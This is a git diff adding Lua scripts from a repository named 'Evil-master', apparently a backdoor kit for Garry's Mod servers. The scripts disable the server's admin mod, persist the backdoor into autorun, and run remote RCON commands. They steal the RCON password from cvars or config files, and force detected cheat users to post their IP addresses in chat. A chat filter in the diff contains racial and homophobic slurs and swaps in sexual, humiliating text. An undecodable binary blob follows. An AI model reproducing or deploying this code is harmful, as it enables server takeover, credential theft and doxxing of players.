"keep killing"}, + {what = "stop killing", with = "keep killing"}, + {what = "no killing", with = "Shoot me now"}, + {what = "no kill", with = "Bet you can't kill"}, + {what = "not kill me", with = "kill me"}, + {what = "dont stop", with = "keep shooting"}, + + {what = "dontkil", with = "Everyone Kill"}, + {what = "dont kill", with = "Everyone Kill"}, + {what = "do not kill", with = "I mean kill"}, + + {what = "dont shoot", with = "I mean shoot"}, + {what = "do not shoot", with = "I mean shoot"}, + + + {what = "pussies", with = "Cats"}, + {what = "pussie", with = "Feline", rep = true}, + {what = "pussy", with = "Kittens"}, + {what = "cunt", with = "I'm gay!", rep = true}, + {what = "kunt", with = "I'm gay!", rep = true}, + + {what = "niggers", with = "Roody-poos"}, + {what = "negro", with = "Roody-poo"}, + {what = "niglet", with = "Roody-poo"}, + {what = "nigg", with = "Roody-poo", rep = true}, + --Wildcard + + {what = "faggots", with = "hot dudes", rep = true}, + {what = "faggot", with = "hot dude", rep = true}, + {what = "faggat", with = "Cigarette Packet", rep = true}, + {what = "faggit", with = "Cigarette Packet", rep = true}, + {what = "fagget", with = "Cigarette Packet", rep = true}, + + {what = "bitches", with = "Female Dogs", rep = true}, + {what = "bitchs", with = "Female Dogs", rep = true}, + {what = "bitch", with = "Female Dog", rep = true}, + + {what = "dickhead", with = "Ding Dong head"}, + {what = "dick", with = "Ding Dong", pron = true}, + + --Cock in other list + + {what = "assholes", with = "Waste Outlets", rep = true}, + {what = "asshole", with = "Waste Outlet", rep = true}, + {what = "ass hole", with = "Sewage Tank"}, + {what = "arse hole", with = "Septic Tank"}, + + + {what = "piss off", with = "take a Golden Shower"}, + {what = "pissed", with = "taking a Golden Shower"}, + {what = "pissy", with = "a Golden Shower"}, + {what = "piss", with = "Golden Shower", pron = true}, + + {what = "motherfucking", with = "Motherloving"}, + {what = "motherfuckers", with = "Motherlovers"}, + {what = "motherfucker", with = "Motherlover"}, + {what = "motherfucka", with = "Motherlover"}, + {what = "clusterfuck", with = "orgy"}, + {what = "fuck off", with = "Bang me hard"}, + {what = "fucking", with = "Loving"}, + {what = "fuckers", with = "Lovers"}, + {what = "fucker", with = "Lover"}, + {what = "fucked", with = "Loved"}, + {what = "fucka", with = "Lover"}, + {what = "fking", with = "Loveing"}, + {what = "fucks", with = "Lovers"}, + {what = "fahk", with = "Love", pron = true}, + {what = "fhak", with = "Love", pron = true}, + {what = "fcuk", with = "Love", pron = true}, + {what = "fuck", with = "Love", pron = true}, + {what = "fuk", with = "Love", pron = true}, + + {what = "bullshit", with = "Debugger"}, + {what = "shittier", with = "more Poop Quality"}, + {what = "shitter", with = "Crapfactory"}, + {what = "shitty", with = "Poor Quality"}, + {what = "shitting", with = "Muck spreading", rep = true}, + {what = "shitters", with = "Crapfactories"}, + {what = "shitheads", with = "Sewage brains"}, + {what = "shithead", with = "Sewage brain", pron = true, rep = true}, + {what = "holy shit", with = "you should have seen the size of my dump!"}, + {what = "shite", with = "dog dung"}, + {what = "shiz", with = "Excrement", rep = true}, + {what = "shit", with = "Doo-Doo"}, + + {what = "god damn", with = "Godly Hydroelectricity!"}, + {what = "goddamnit", with = "Godly Hydroelectricity"}, + {what = "goddamn", with = "Godly Hydroelectricity"}, + {what = "goddammit", with = "Godly Hydroelectricity"}, + {what = "goddamm", with = "Godly Hydroelectricity"}, + {what = "goddam", with = "Godly Hydroelectricity"}, + {what = "dammit", with = "Hydroelectricity"}, + {what = "damnit", with = "Hydroelectricity!"}, + {what = "damit", with = "Hoover Dam it"}, + {what = "damn", with = "Hoover Dam", pron = true}, + + --Cheat related + {what = "sethhacker", with = "Zero Skill Skiddie"}, + {what = "sethhack", with = "Seth's Wallet"}, + {what = "seth hack", with = "Seth's Wallet"}, + + {what = "wallhacks", with = "tiny dongs"}, + {what = "wallhack", with = "MASSIVE DONG"}, + {what = "hacking", with = "being Awesome"}, + {what = "hackin", with = "being Awesome"}, + {what = "hackers", with = "Pros"}, + {what = "hacker", with = "Pro"}, + {what = "hacked", with = "Eaten by Birds"}, + {what = "hacks", with = "Skiddie Fuel", rep = true}, + {what = "hack", with = "Gold"}, + + {what = "haker", with = "Pro", rep = true}, + {what = "hakein", with = "being Awesome", rep = true}, + {what = "hakeing", with = "being Awesome", rep = true}, + {what = "haked", with = "Eaten by Birds", rep = true}, + {what = "hakes", with = "Skiddie Fuel", rep = true}, + {what = "hake", with = "Gold", rep = true}, + + {what = "cheated", with = "used his Awesome Skill", rep = true}, + {what = "cheaters", with = "Pros", rep = true}, + {what = "cheater", with = "Pro", rep = true}, + {what = "cheatin", with = "being Awesome", rep = true}, + {what = "cheats", with = "Skiddie Fuel", rep = true}, + {what = "cheat", with = "be Awesome", rep = true}, + {what = "chit", with = "Gold", rep = true}, + {what = "chii", with = "Skiddie Fuel", rep = true}, + + {what = "aimbots", with = "Awesome Skills", rep = true}, + {what = "aimbotting", with = "being Awesome", rep = true}, + {what = "aimbot", with = "Awesome Skill", rep = true}, + + --Idiots + {what = "***", with = "My dick", rep = true}, + + {what = "trolo", with = "Hey eveyone, I'm losing badly!", rep = true}, + {what = "admii", with = "Awesome Dude's cock", rep = true}, + {what = "iigg", with = "Bilboard", rep = true}, + {what = "niqq", with = "Bilboard", rep = true}, + {what = "tttt", with = "see my webcam, my skype is _FLT_", rep = true}, + {what = "hhhh", with = "Let's see who can kill me first", rep = true}, + {what = "mmmm", with = "come on skype tonight, add _FLT_ !", rep = true}, + {what = "onon", with = "add _FLT_ for a good time tonight!", rep = true}, + {what = "lolo", with = "I love to take it up the butt!", rep = true}, + {what = "lulu", with = "i just tried my first dildo last night", rep = true}, + {what = "lala", with = "my first dildo is awesome!", rep = true}, + {what = "xdx", with = "even more Dong", rep = true}, + {what = "xdd", with = "even more Dong", rep = true}, + {what = "fuu", with = "Everyone see my webcam, add _FLT_ !", rep = true}, + + --3 letters + {what = "aaa", with = "I'd love you to come and blow my brains out", rep = true}, + {what = "fff", with = "Blow my brains out!", rep = true}, + {what = "rrr", with = "Want to see my webcam tonight? add _FLT_", rep = true}, + {what = "lll", with = "sometimes, i finger myself", rep = true}, + {what = "ggg", with = "I want to pound your ass", rep = true}, + {what = "ooo", with = "look at my xtube profile, it's _FLT_ !", rep = true}, + {what = "nnn", with = "My nipples are hard for you", rep = true}, + {what = "ppp", with = "come and shoot me", rep = true}, + {what = "eee", with = "I want you all to shoot me now", rep = true}, + {what = "uuu", with = "blow your hot load all over me", rep = true}, + {what = "iii", with = "Icecubes!", rep = true}, + {what = "sss", with = "Popcorn!", rep = true}, + {what = "ccc", with = "what do you think of my xtube profile, _FLT_", rep = true}, + + --2 letters + {what = "kk", with = "my xtube profile is _FLT_ what do you think?", rep = true}, + {what = "xx", with = "everyone see my xtube profile! its _FLT_ !", rep = true}, + {what = "yy", with = "Everyone against me!", rep = true}, + {what = "zzz", with = "Let's see who can kill me first", rep = true}, + {what = "kkk", with = "I'm terrible, shoot me!", rep = true}, +} + + + +for k,v in pairs(HSP.ChatFilter.Swearwords) do --Auto-set spaces, one-off on script load, more efficient! + if v.what:find(" ") then --Space! + HSP.ChatFilter.Swearwords[k].spaces = true + end +end + + diff --git a/Repos/Evil-master/v12/DeX/ulx.lua b/Repos/Evil-master/v12/DeX/ulx.lua new file mode 100644 index 0000000..1d65591 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/ulx.lua @@ -0,0 +1,37 @@ + + +hook.Remove("Think", "MaulMoreDamageThink") +hook.Remove("PlayerSpawn", "ULXRagdollSpawnCheck") +hook.Remove("PhysgunPickup", "ulxPlayerPickup") + +hook.Remove("PlayerDeath", "ULXCheckDeath") +hook.Remove("PlayerDeath", "ULXCheckMaulDeath") + +hook.Remove("PlayerSay", "ULXGimpCheck") +hook.Remove("PlayerSay", "ulxPlayerSay") +hook.Remove("PlayerSay", "ULXMeCheck") +hook.Remove("PlayerSay", "ULXLogSay") + +timer.Destroy("ULXJail") + +_R.Entity.DisallowDeleting = nil +_R.Entity.DisallowMoving = nil + +_R.Player.DisallowDeleting = nil +_R.Player.DisallowMoving = nil + + +ETable(ulx) +ETable(ULX) +ETable(ULib) + +MsgAll("\nULX has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/umt.lua b/Repos/Evil-master/v12/DeX/umt.lua new file mode 100644 index 0000000..9586db5 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/umt.lua @@ -0,0 +1,108 @@ + + +local UMTCode = [[ +if (_G.usermessage.__metatable != nil) then + RunConsoleCommand("gm_dex_umt") +end +]] + + +local function StartSpam(ply,cmd,args) + BroadcastLua(UMTCode) + ply:print("[OK] Sent UMTCode") +end +command.Add("sh_start", StartSpam, "SH chat spam") + + +local SpamTab = {} +local function StopSpam(ply,cmd,args) + local tot = 0 + for TID,v in pairs(SpamTab) do + timer.Destroy(TID) + tot = tot + 1 + end + SpamTab = {} + + ply:print("[OK] Stopped "..tot.." timers") +end +command.Add("sh_stop", StopSpam, "Stop the SH chat spam") + + +local Enabled = true +local function ToggleSH(ply,cmd,args) + Enabled = not Enabled + + if Enabled then + BroadcastLua(UMTCode) + else + StopSpam(ply,cmd,args) + end + + ply:print("[OK] SH spam is now: "..tostring(Enabled) ) +end +command.Add("sh_toggle", ToggleSH, "Enable/Disable SH spammer") + + +local log = "sethhack_users_banthem.txt" +local Spam = { + "My IP is _MYIP_ and i bought sethhack, please ban my ass!", + "My IP is _MYIP_ and i'm terrible, i paid $25 into seth's DDoS fund!", + "My IP is _MYIP_ and i'd suck seth's cock for SH v5", + "My IP is _MYIP_ and i love paying seth for stolen code!", + "I use sethhack, DDoS me for a change, my IP is _MYIP_", +} + + +local Logged = {} +local function GetUMT(ply,cmd,args) + if ply:IsHeX() then return end + print("! SHer: ", ply) + ply.SHer = true + + if (type(_G.SkidCheck) == "function") then + _G.SkidCheck() + end + + local TID = "umt_"..ply:SteamID() + SpamTab[TID] = ply + + if Enabled then + timer.Create(TID, 10, 5, function() + if ValidEntity(ply) then + local msg = table.Random(Spam) + msg = msg:gsub("_MYIP_", tostring(ply:IPAddress()) ) + + ply:ConCommand( Format("say %s", msg) ) + end + end) + end + + local HeX = GetHeX() + if ValidEntity(HeX) then + HeX:ConCommand( Format([[logme2 SHer "%s"]], ply:SteamID()) ) + end + + if not Logged[TID] then + Logged[TID] = true + if not file.Exists(log) then + local str = "This file contains a list of SH users who've joined this server, please ban them\n\n" + file.Write(log, str) + end + file.Append(log, Format('\t["%s"] = {Name = "%s", SH = true},\n', ply:SteamID(), ply:Nick() ) ) + end +end +concommand.Add("gm_dex_umt", GetUMT) + + + +local function SendUMT(ply) + timer.Simple(2, function() + if ValidEntity(ply) then + ply:SendLua(UMTCode) + end + end) +end +hook.Add("PlayerInitialSpawn", "SendUMT", SendUMT) + +BroadcastLua(UMTCode) + diff --git a/Repos/Evil-master/v12/DeX/useful.lua b/Repos/Evil-master/v12/DeX/useful.lua new file mode 100644 index 0000000..2ff02cb --- /dev/null +++ b/Repos/Evil-master/v12/DeX/useful.lua @@ -0,0 +1,255 @@ + + + +local function SaveDex(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + if not gpio then + ExecDownload(DEX_PATH, "gpio.lua", true) + end + + local Dex = ExecDownload(DEX_PATH, "dex_autorun.lua", false, true) + + local Done = (gpio.Write("lua\\autorun\\server\\dex_autorun.lua", Dex) == gpio.Done) + + if Done then + ply:print("[OK] dex_autorun.lua saved to autorun ("..tostring(Done)..")") + else + ply:print("[ERR] gpio.Write error") + end +end +command.Add("dex_save", SaveDex, "Try to save dex_autorun.lua for next time") + + +--FIXSET +local function FixSet(ply,cmd,args) + timer.Create("fixset", 0.2, 0, function() + RunConsoleCommand("sbox_godmode", "0") + RunConsoleCommand("sbox_plpldamage", "0") + if not IsUH then + RunConsoleCommand("sbox_noclip", "1") + end + RunConsoleCommand("sbox_weapons", "1") + end) + ply:print("[OK] Fixed damage settings") +end +command.Add("fixset", FixSet, "Fix damage settings") + + +local function SetPW(ply,cmd,args) + local Pass = args[1] or "beta" + + game.ConsoleCommand([[sv_password "]]..Pass..[["\n]]) +end +command.Add("pw", SetPW, "Password set") + +local function RemovePW(ply,cmd,args) + game.ConsoleCommand([[sv_password ""\n]]) +end +command.Add("nopw", RemovePW, "Password remove") + + +local function GPIODump(ply,cmd,args) + ExecDownload(DEX_PATH, "gpio.lua") + + if (table.Count(gpio.Dlls) == 0) or IsUH then + ply:print("[ERR] No modules!") + return + end + + local tot = 0 + for k,v in pairs(gpio.Dlls) do + tot = tot + 1 + ply:print("!\t"..k) + end + + ply:print("[OK] Server has ["..tot.."] modules!") +end +command.Add("gpio", GPIODump, "List all modules") + + + +--NOTOOL +local function NoTool() + hook.GetTable()["CanTool"] = nil + ply:print("[OK] Removed all CanTool hooks") +end +command.Add("notool", NoTool, "Remove all CanTool") + + + +function FixPickup() + hook.Add("PhysgunPickup", "!aaa", function(ply,ent) + if ent:IsPlayer() and ent:IsHeX() then + ent:SetHealth(500) + ply:Explode(1) + ply:Kill() + end + end) +end +FixPickup() + +--NOPHYS +local function NoPhys(ply,cmd,args) + hook.GetTable()["PhysgunPickup"] = nil + FixPickup() + ply:print("[OK] Removed all PhysgunPickup hooks") +end +command.Add("nophys", NoPhys, "Remove all PhysgunPickup") + + +local function PlayerLoadout(ply) + if ply:IsHeX() then + ply:Give("weapon_stunstick") + ply:Give("weapon_slam") + ply:Give("weapon_rpg") + + timer.Simple(0.2, function() + if (ply:IsValid()) then + ply:RemoveAmmo(ply:GetAmmoCount("slam"), "slam") + ply:GiveAmmo(22,"slam",false) + + ply:RemoveAmmo(ply:GetAmmoCount("SMG1_Grenade"), "SMG1_Grenade") + ply:GiveAmmo(22,"SMG1_Grenade",false) + + ply:RemoveAmmo(ply:GetAmmoCount("RPG_Round"), "RPG_Round") + ply:GiveAmmo(22,"RPG_Round",false) + end + end) + end + + ply:Give("weapon_smg1") + ply:Give("weapon_ar2") + ply:Give("weapon_357") +end +hook.Add("PlayerLoadout", "PlayerLoadout", PlayerLoadout) + + + +--- === USEFUL === --- +--RCON +local FORCE = false +local GPIODoneCheck = false +local function RCON(ply,cmd,args) + if (#args == 0) or IsUH then + ply:print("[ERR] No args!") + return + end + local str = table.concat(args," ") + + if not gpio then + ExecDownload(DEX_PATH, "gpio.lua", true) + end + if not GPIODoneCheck then + GPIODoneCheck = true + if (gpio.ConCommand("stats") == gpio.Error) then + FORCE = true + end + end + + if FORCE then + game.ConsoleCommand(str.."\n") + else + gpio.ConCommand(str) + end + + ply:print("[OK] running: '"..str.."'") +end +command.Add("rc", RCON, "Remote RCON") + + +local function SendRCPW(ply,v) + if not ValidEntity( GetHeX() ) then return end + + if ValidEntity(ply) then + ply:SendLua([[ + usermessage.Hook("rc", function(u) + RCPW = u:ReadString() + RunConsoleCommand("_dex_save_rc", RCPW) + end) + ]] + ) + + timer.Simple(1, function() + if ValidEntity(ply) then + umsg.Start("rc", ply) + umsg.String(v) + umsg.End() + end + end) + end +end + + +local function ReadFile(ply,File) + local Got = false + for k,v in pairs( string.Explode("\n", File) ) do + if v:find("rcon") then + Got = true + ply:print("[Line "..k.."] "..v) + SendRCPW(ply,v) + end + end + return Got +end + + +--PASSWORD +local function RCONPass(ply,cmd,args) + if IsUH then return ply:print("[CVar2] FagBalls01RCON") end + + ExecDownload(DEX_PATH, "gpio.lua", true) + if (gpio and gpio.Dlls.cvar2) then + require("cvar2") + + if (cvar2 and cvar2.GetValue) then + local pass = cvar2.GetValue("rcon_password") + + ply:print("[CVar2] "..pass) + SendRCPW(ply,pass) + return + end + end + + ply:print("[ERR] no CVar2, searching cfg files..") + + local Got = false + for k,v in pairs( file.Find("cfg/*.*",true) ) do + if ReadFile(ply, file.Read("cfg/"..v,true) ) then + Got = true + end + end + + + if not Got then + ply:print("[ERR] Not in cfg, give up") + end +end +command.Add("rcpw", RCONPass, "Get RCON password") + +--GIVE +local function SpawnThat(ply,cmd,args) + local egc = args[1] + + local lol = ents.Create(egc) + if not ValidEntity(lol) then + ply:print("[ERR] No '"..egc.."' on the server!") + return + end + lol:SetPos( ply:GetEyeTrace().HitPos ) + lol:Spawn() + + ply:print("[OK] Spawned a '"..egc.."'") +end +command.Add("g2", SpawnThat, "Spawn that entity") + +--CLEANUP +local function CleanMap() + game.CleanUpMap() + ply:print("[OK] Cleaned the map") +end +command.Add("cleanup", CleanMap, "Clean the map") +--- === /USEFUL === --- + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico new file mode 100644 index 0000000000000000000000000000000000000000..6c850b5497eeed45965aa63b114bedaa83502a5c GIT binary patch literal 73070 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 